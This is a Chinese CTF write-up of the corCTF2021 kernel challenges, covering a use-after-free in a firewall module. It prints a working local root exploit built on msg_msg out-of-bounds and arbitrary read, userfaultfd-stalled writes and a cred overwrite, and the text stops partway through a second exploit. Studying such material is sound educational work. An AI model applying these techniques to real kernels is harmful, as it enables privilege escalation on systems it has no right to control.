【msg_msg】corCTF2021-msgmsg 套题

前言

该套题共两题,一道简单模式 fire_of_salvation,一道困难模式 wall_of_perdition,都是关于 msg_msg 的利用的。这题跟之前的 TPCTF2023 core 的很像(应该是 TPCTF2023 core 跟他很像,bushi)。

其中 fire_of_salvation 是一个 0x1000 大小的 UAF,可以写 UAF obj 的前 0x20 字节或者 0x30 字节。而 wall_of_perdition 是一个 0x40 大小的 UAF,可以写 UAF obj 的前 0x20 字节或者 0x30 字节。

这题给的内核版本是 v5.8.0,而这个题目是 2021 年的,dirty pipe 是 2022 年曝的,所以不出意外的话,这题的内核应该本身带有 drity pipe,经过测试的确如此:这里笔者不会介绍 dirty pipe nday 直接打,感兴趣可以看之前的文章。

【msg_msg】corCTF2021-msgmsg 套题_第1张图片

漏洞分析

保护:kaslr、smap、smep、kpti,并且还开了如下保护:比较显眼的就是 FG_KASLR 了,但是没有开 MEMGE 所以可以利用的结构体还是比较多的。

CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDEN=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_FG_KASLR=y
# CONFIG_SLAB_MERGE_DEFAULT is not set

这题给了源码(?),笔者找到的题目是包含源码的,不知道比赛的时候给没给源码 

题目给了增、删、改的功能, 其中漏洞点如下:

static long firewall_delete_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    printk(KERN_INFO "[Firewall::Info] firewall_delete_rule() deleting rule!\n");
 
    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_delete_rule() invalid rule slot!\n");
        return ERROR;
    }
 
    kfree(firewall_rules[idx]);
    firewall_rules[idx] = NULL;
 
    return SUCCESS;
}
 
 
static long firewall_dup_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    uint8_t i;
    rule_t **dup;
 
    printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() duplicating rule!\n");
 
    dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;
 
    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nothing to duplicate!\n");
        return ERROR;
    }
 
    if (firewall_rules[idx]->is_duplicated)
    {
        printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule already duplicated before!\n");
        return ERROR;
    }
 
    for (i = 0; i < MAX_RULES; i++)
    {
        if (dup[i] == NULL)
        {
            dup[i] = firewall_rules[idx];
            firewall_rules[idx]->is_duplicated = 1;
            printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule duplicated!\n");
            return SUCCESS;
        }
    }
 
    printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nowhere to duplicate!\n");
 
    return ERROR;
}

当执行 dup 时, 会把入口规则的指针直接赋给出口规则. 而在 dele 时只会释放其中一个, 因此造成 UAF.

fire_of_salvation 跟 wall_of_perdition 唯一不同的就是 obj 的大小:可以看到在 easy_mode 下,obj 的大小为 0x1000;非 easy_mode 下,obj 的大小为 0x40。

#ifdef EASY_MODE
#define DESC_MAX 0x800
#endif

typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16]; 
    uint8_t idx; // buf[64]
    uint8_t type; // buf[65]
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} user_rule_t;

typedef struct
{
    char iface[16];
    char name[16];
    uint32_t ip;
    uint32_t netmask;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    uint8_t is_duplicated;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} rule_t;

这里需要注意一下修改功能,其对漏洞利用比较重要:

typedef struct
{
    char iface[16];
    char name[16];
    uint32_t ip;
    uint32_t netmask;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    uint8_t is_duplicated;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} rule_t;
 
static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{
    printk(KERN_INFO "[Firewall::Info] firewall_edit_rule() editing rule!\n");
 
    #ifdef EASY_MODE
    printk(KERN_INFO "[Firewall::Error] Note that description editing is not implemented.\n");
    #endif
 
    if (firewall_rules[idx] == NULL)
    {
        printk(KERN_INFO "[Firewall::Error] firewall_edit_rule() invalid idx!\n");
        return ERROR;
    }
    // 先修改了 iface/name, 即 rule_t 的前 0x20 字节
    memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);
    memcpy(firewall_rules[idx]->name, user_rule.name, 16);
    
    if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");
        return ERROR;
    }
 
    if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0)
    {
        printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n");
        return ERROR;
    }
 
    firewall_rules[idx]->proto = user_rule.proto;
    firewall_rules[idx]->port = ntohs(user_rule.port);
    firewall_rules[idx]->action = user_rule.action;
 
    printk(KERN_ERR "[Firewall::Info] firewall_edit_rule() rule edited!\n");
 
    return SUCCESS;
}

这里我们一次似乎只能且必须修改 0x30 字节,但是仔细看的话,可以发现其实我们可以只修改前 0x20 字节。因为这里是先修改了前 0x20 字节,然后再检测 ip、netmask 的合法性,所以如果我们让 ip 不合法,就可以只修改 0x20 字节了,这有什么用呢?

来看下 msg_msg 结构体:

/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list; // 消息通过双向链表连接
	long m_type;			// 消息类型
	size_t m_ts;			// 消息的大小
	struct msg_msgseg *next;	// 消息数据
	void *security;
	/* the actual message follows immediately */
};

可以看到前 0x20 字节刚好到 m_ts,所以这里我们可以避免破坏 next 指针。

漏洞利用

fire_of_salvation

总体思路如下:

1)add、dupl 、dele 构造 0x1000 UAF obj

2)创建消息队列,并发送 0x1000-0x30-0x20-8 的消息,其中 msg_msg 会占据该 UAF obj

3)堆喷 shm_file_data,为泄漏 kernel_offset 做准备

4)UAF 修改 msg_msg 的 m_ts 字段为 0x2000-0x30-0x8,这里注意利用的 edit 修改前 0x20 字段,因为如果你修改 0x30 会将其 next 指针破坏

5)消息队列越界读泄漏 kernel_offset,从而得到 init_task 地址

6)UAF 修改 msg_msg 的 m_ts 和 next 字段实现任意读,通过遍历 init_task 的 tasks 链表找到当前进程的 task_struct,从而得到 cur_cred

7)add、dupl、dele 重新构造一个 0x1000 UAF obj

8)创建消息队列,并发送 0x1000-0x30+0x10 的消息。而消息结构体的创建和数据拷贝是分开进行的,所以可以在拷贝 msg_msg 的时候用 userfaultfd 将其卡住,然后利用 UAF 修改其 next 为 cur_cred,这样当写 msg_seg 的时候就会覆写 cur_cred 了。

【msg_msg】corCTF2021-msgmsg 套题_第2张图片

越界读泄漏内核基址

创建一个大小为 0x1000-0x30+0x20-8 大小的消息去占据 UAF 堆块, 然后修改其 m_ts 实现越界读.这时我们可以堆喷大量的 shm_file_data, 从而去泄漏 init_ipc_ns. 该全局指针不会进行二次随机化, 所以可以绕过 FG_KASLR.

任意读寻找 current task_struct

有了内核基址后, 就可以找到 init_task 地址了, 然后可以利用任意读去遍历其子进程即 tasks 字段, 从而找到当前进程的 task_struct.

而我们知道读 msg_msgseg 时, 其终止的标志为其 next=NULL. 所以这就要求 target_addr - 8 = NULL (当然也不一定这样, 比如 target_addr-0x18=NULL也是可以的, 反正就是要找到一个 NULL 位置). 而这里比较 Nice 的是 tasks-8 就是 NULL. tasks 字段的偏移是 0x298

任意写修改 current cred

当我们调用 msgsnd 系统调用时, 其会调用 load_msg() 将用户空间数据拷贝到内核空间中. 首先是调用 alloc_msg() 分配 msg_msg 单向链表, 之后才是正式的拷贝过程, 即空间的分配与数据的拷贝是分开进行的.

struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

    // 空间分配
	msg = alloc_msg(len); // 分配 msg 所需空间
	
    // 数据拷贝
	alen = min(len, DATALEN_MSG); // 一个 msg 包含 header 最大为1页
	if (copy_from_user(msg + 1, src, alen)) // msg+1 就是数据空间
		goto out_err;
	// 当消息的长度大于0xfd0时, 注意复制结束的标志是 seg->next = NULL
	for (seg = msg->next; seg != NULL; seg = seg->next) { // 0xfd0之后的数据存储在 msg_msgseg 结构体中
		len -= alen;								// msg_msgseg 包含 header 最大也是1页
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}
......
}

如果在拷贝时利用 userfaultfd/FUSE 将拷贝停下来, 在子进程中篡改 msg_msg 的 next 指针, 在恢复拷贝之后便会向我们篡改后的目标地址上写入数据,从而实现任意地址写

并且 real_cred 前也为 NULL:

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

# define EASY_MODE
#define ADD_RULE 0x1337babe
#define DELE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#define ERROR -1
#define SUCCESS 0
#define MAX_RULES 0x80

#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1

#ifdef EASY_MODE
#define DESC_MAX 0x800
#endif

typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16];
    uint8_t idx; // buf[64]
    uint8_t type; // buf[65]
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} user_rule_t;

void convert(char* buf, uint32_t num)
{
        sprintf(buf, "%d.%d.%d.%d", num&0xff, (num>>8)&0xff, (num>>16)&0xff, (num>>24)&0xff);
}

void generate(char* buf, user_rule_t* rule)
{
        char tmp[16] = { 0 };
        uint32_t ip = *(uint32_t*)&buf[32];
        uint32_t netmask = *(uint32_t*)&buf[36];

        memset(tmp, 0, sizeof(tmp));
        convert(tmp, ip);
        memcpy(rule->ip, tmp, 16);

        memset(tmp, 0, sizeof(tmp));
        convert(tmp, netmask);
        memcpy(rule->netmask, tmp, 16);

        memcpy(rule->iface, buf, 16);
        memcpy(rule->name, &buf[16], 16);
        memcpy(&rule->proto, &buf[0x28], 2);
        memcpy(&rule->port, &buf[0x28+2], 2);
        memcpy(&rule->action, &buf[0x28+2+2], 1);
}

int fd;
void add(uint8_t idx, char* buf, int type)
{
        user_rule_t rule = { 0 };
        generate(buf, &rule);
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, ADD_RULE, &rule);
}

void dele(uint8_t idx, int type)
{
        user_rule_t rule = { 0 };
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, DELE_RULE, &rule);
}

void edit(uint8_t idx, char* buf, int type, int flag)
{
        user_rule_t rule = { 0 };
        generate(buf, &rule);
        rule.idx = idx;
        rule.type = type;
        if (flag)
        {
                strcpy(rule.ip, "invalid");
                strcpy(rule.netmask, "invalid");
        }
        ioctl(fd, EDIT_RULE, &rule);
}

void dupl(uint8_t idx, int type)
{
        user_rule_t rule = { 0 };
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, DUP_RULE, &rule);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    exit(EXIT_SUCCESS);
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_msg {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

size_t init_ipc_ns;
size_t kernel_offset;
size_t init_task = 0xffffffff81c124c0;
size_t init_cred = 0xffffffff81c33060;

size_t target_idx;
size_t target_addr;
char copy_src[0x1000];

void* handler(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler");
                *(uint64_t*)(copy_src) = 0;
                *(uint64_t*)(copy_src+8) = init_cred;
                *(uint64_t*)(copy_src+0x10) = init_cred;
                char buffer[0x1000] = { 0 };
                struct msg_msg evil = { 0 };
                evil.m_type = 1;
                evil.m_ts = 0x1000-0x30+0x10;
                evil.next = target_addr;
                memcpy(buffer, &evil, sizeof(evil));
                edit(target_idx, buffer, OUTBOUND, 0);

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        fd = open("/dev/firewall", O_RDWR);
        if (fd < 0) err_exit("open /dev/firewall");

        int qid;
        int shm_id;
        char tmp[0x2000] = { 0 };
        char buffer[0x1000] = { 0 };
        struct msg_msg evil;
        struct msg_buf* msg_buf;
        msg_buf = (struct msg_buf*)tmp;

        add(0, buffer, INBOUND);
        dupl(0, INBOUND);

        if ((qid = msgget(0, IPC_PRIVATE|0666)) < 0) err_exit("msgget");
        dele(0, INBOUND);
        msg_buf->m_type = 1;
        if (msgsnd(qid, msg_buf, 0x1000-0x30+0x20-8, 0) < 0) err_exit("msgsnd");

        for (int i = 0; i < 0x50; i++)
        {
                if ((shm_id = shmget(IPC_PRIVATE, 100, 0666)) < 0) err_exit("shmget");
                if (shmat(shm_id, NULL, 0) < 0) err_exit("shmat");
        }

        memset(&evil, 0, sizeof(evil));
        evil.m_type = 1;
        evil.m_ts = 0x1000-0x30+0x1000-0x8;
        memcpy(buffer, &evil, sizeof(evil));
        edit(0, buffer, OUTBOUND, 1);
        int res = msgrcv(qid, msg_buf, 0x1000-0x30+0x1000-0x8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
        if (res < 0x1000-0x30+0x20-8) err_exit("failed to hit UAF chunk");
        binary_dump("OOR DATA", msg_buf->m_text+0xfd0, 0x100);
        for (int i = 0; i < 0xfd0 / 0x20; i++)
        {
                if (((*(size_t*)(msg_buf->m_text+0xfd0+0x20*i))&0xfff) == 0x7a0)
                {
                        init_ipc_ns = *(size_t*)(msg_buf->m_text+0xfd0+0x20*i);
                        break;
                }
        }

        kernel_offset = init_ipc_ns - 0xffffffff81c3d7a0;
        init_task += kernel_offset;
        init_cred += kernel_offset;
        hexx("init_ipc_ns", init_ipc_ns);
        hexx("kernel_offset", kernel_offset);
        hexx("init_task", init_task);
        hexx("init_cred", init_cred);

        uint32_t pid, cur_pid;
        uint64_t prev, curr;
        pid = -1;
        cur_pid = getpid();
        hexx("current pid", cur_pid);
        prev = init_task + 0x298;
        memset(&evil, 0, sizeof(evil));
        memset(buffer, 0, sizeof(buffer));
        evil.m_type = 1;
        evil.m_ts = 0x1000-0x30+0x1000-0x8;

        while (pid != cur_pid)
        {
                curr = prev - 0x298;
                evil.next = prev - 8;
                memcpy(buffer, &evil, sizeof(evil));
                edit(0, buffer, OUTBOUND, 0);
                memset(msg_buf, 0, sizeof(msg_buf));
                msgrcv(qid, msg_buf, 0x1000-0x30+0x1000-0x8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);
                memcpy(&prev, msg_buf->m_text+0xfd8, 8);
                memcpy(&pid, msg_buf->m_text+0x10d0, 4);
                hexx(" searched pid", pid);
        }
        hexx("current task_struct", curr);

        pthread_t thr;
        char* uffd_buf = mmap(0, 2*0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
        if (uffd_buf < 0) err_exit("mmap for uffd_uffd");
        msg_buf = (struct msg_buf*)(uffd_buf+0x30);
        msg_buf->m_type = 1;
        register_userfaultfd(&thr, uffd_buf+0x1000, 0x1000, handler);

        target_idx = 1;
        target_addr = curr + 0x530;
        memset(buffer, 0, sizeof(buffer));
        add(1, buffer, INBOUND);
        dupl(1, INBOUND);
        dele(1, INBOUND);
        if (msgsnd(qid, msg_buf, 0x1000-0x30+0x10, 0) < 0) err_exit("msgsnd to triger userfaultfd");
        hexx("UID", getuid());
        system("/bin/sh");
        puts("[+] END");
        return 0;
}

效果如下:

【msg_msg】corCTF2021-msgmsg 套题_第3张图片

wall_of_perdition

TPCTF2023 core 跟这个题目几乎一模一样,在 TPCTF2023 core 的文章中,介绍了两种方法,这里笔者采用的是 msg_msg 实现任意读写,毕竟 2021 年还没有 dirty pipe 呢。

注:wall_of_perdition 是比 TPCTF2023 core 早的,但是笔者做 wall_of_perdition 比较晚,所以文章中出现了一些 wall_of_perdition 跟 TPCTF2023 core 比较像的言论,读者无需在意

exp 如下:跟 TPCTF2023 core 的 exp 几乎一样,原理在 TPCTF2023 core 中讲了,这里就贴个 exp。当然感兴趣的可以尝试构造 dirty pipe

成功率还行,失败的主要原因在于堆喷的 msg_msg 不在同一个 0xfd0 区域中

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

//#define EASY_MODE
#define ADD_RULE 0x1337babe
#define DELE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#define ERROR -1
#define SUCCESS 0
#define MAX_RULES 0x80

#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1

#ifdef EASY_MODE
#define DESC_MAX 0x800
#endif

typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16];
    uint8_t idx; // buf[64]
    uint8_t type; // buf[65]
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    #ifdef EASY_MODE
    char desc[DESC_MAX];
    #endif
} user_rule_t;

void convert(char* buf, uint32_t num)
{
        sprintf(buf, "%d.%d.%d.%d", num&0xff, (num>>8)&0xff, (num>>16)&0xff, (num>>24)&0xff);
}

void generate(char* buf, user_rule_t* rule)
{
        char tmp[16] = { 0 };
        uint32_t ip = *(uint32_t*)&buf[32];
        uint32_t netmask = *(uint32_t*)&buf[36];

        memset(tmp, 0, sizeof(tmp));
        convert(tmp, ip);
        memcpy(rule->ip, tmp, 16);

        memset(tmp, 0, sizeof(tmp));
        convert(tmp, netmask);
        memcpy(rule->netmask, tmp, 16);

        memcpy(rule->iface, buf, 16);
        memcpy(rule->name, &buf[16], 16);
        memcpy(&rule->proto, &buf[0x28], 2);
        memcpy(&rule->port, &buf[0x28+2], 2);
        memcpy(&rule->action, &buf[0x28+2+2], 1);
}

int fd;
void add(uint8_t idx, char* buf, int type)
{
        user_rule_t rule = { 0 };
        generate(buf, &rule);
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, ADD_RULE, &rule);
}

void dele(uint8_t idx, int type)
{
        user_rule_t rule = { 0 };
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, DELE_RULE, &rule);
}

void edit(uint8_t idx, char* buf, int type, int flag)
{
        user_rule_t rule = { 0 };
        generate(buf, &rule);
        rule.idx = idx;
        rule.type = type;
        if (flag)
        {
                strcpy(rule.ip, "invalid");
                strcpy(rule.netmask, "invalid");
        }
        ioctl(fd, EDIT_RULE, &rule);
}

void dupl(uint8_t idx, int type)
{
        user_rule_t rule = { 0 };
        rule.idx = idx;
        rule.type = type;
        ioctl(fd, DUP_RULE, &rule);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    exit(EXIT_SUCCESS);
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}


int qid;
char copy_src[0x1000];
char *uffd_buf1, *uffd_buf2;
uint64_t ll_next = -1, ll_prev = -1;
size_t cred_cred = 0;
int pipe_fd[3][2];

void* handler_1(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler_1");
                write(pipe_fd[0][1], "g", 1);

                *(uint64_t*)(copy_src + 8) = 0;
                *(uint64_t*)(copy_src + +0x10) = 1;
                *(uint64_t*)(copy_src + +0x18) = 0x2000-0x30-8;
                *(uint64_t*)(copy_src + +0x20) = cred_cred - 8;
                *(uint64_t*)(copy_src + +0x28) = 0;
                char w[1];
                read(pipe_fd[2][0], w, 1);
                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
                write(pipe_fd[1][1], "g", 1);
        }
}

void* handler_2(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler_2");
                char w[1];
                write(pipe_fd[2][1], "g", 1);
                read(pipe_fd[1][0], w, 1);
                sleep(1);
                memset(copy_src, 0, sizeof(copy_src));
                *(int*)copy_src = 1;
                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void* thread_handler1(void* arg)
{
        puts("[+] thread_handler1 start to work");
        int qqid = msgget(IPC_PRIVATE, IPC_CREAT|0666);
        if (qqid < 0) err_exit("FAILED to create a msg queue in thread_handler1");
        char buf[0x2000];
        struct msg_buf* msg = (struct msg_buf*)(uffd_buf1+0x30);
        msg->m_type = 1;
        if (msgsnd(qqid, msg, 0x2000-0x30-8, 0) < 0)
                err_exit("FAILED to send 0x2000 msg in thread_handler1");
        puts("[+] thread_handler1 over");
        return NULL;
}

void* thread_handler2(void* arg)
{
        char w[1];
        read(pipe_fd[0][0], w, 1);
        puts("[+] thread_handler2 start to work");
        uint64_t buf[0x30/8];
        char buff[0x2000];
        buf[0] = ll_prev;
        buf[1] = ll_prev;
        buf[2] = 1;
        buf[3] = 0x10;
        buf[4] = ll_next;
        buf[5] = 0;
        edit(0, (char*)buf, OUTBOUND, 0);
        int res = msgrcv(qid, buff, 0x10, 1, IPC_NOWAIT|MSG_NOERROR);
        hexx("  msgrcv to free data size", res);
        int qqid = msgget(IPC_PRIVATE, IPC_CREAT|0666);
        if (qqid < 0) err_exit("FAILED to create a msg queue in thread_handler1");
        struct msg_buf* msg = (struct msg_buf*)(uffd_buf2+0x30);
        msg->m_type = 1;
        if (msgsnd(qqid, msg, 0x1038-0x30-8, 0) < 0)
                err_exit("FAILED to send 0x2000 msg in thread_handler1");
        puts("[+] thread_handler2 over");
        return NULL;
}

#define MSG_SPARY_NUMS 0x20
size_t addr_table[] = {
  0xffffffff81c41600,
  0xffffffff81c41520
};
size_t leak_offset(size_t addr)
{
        size_t kernel_offset = -1;
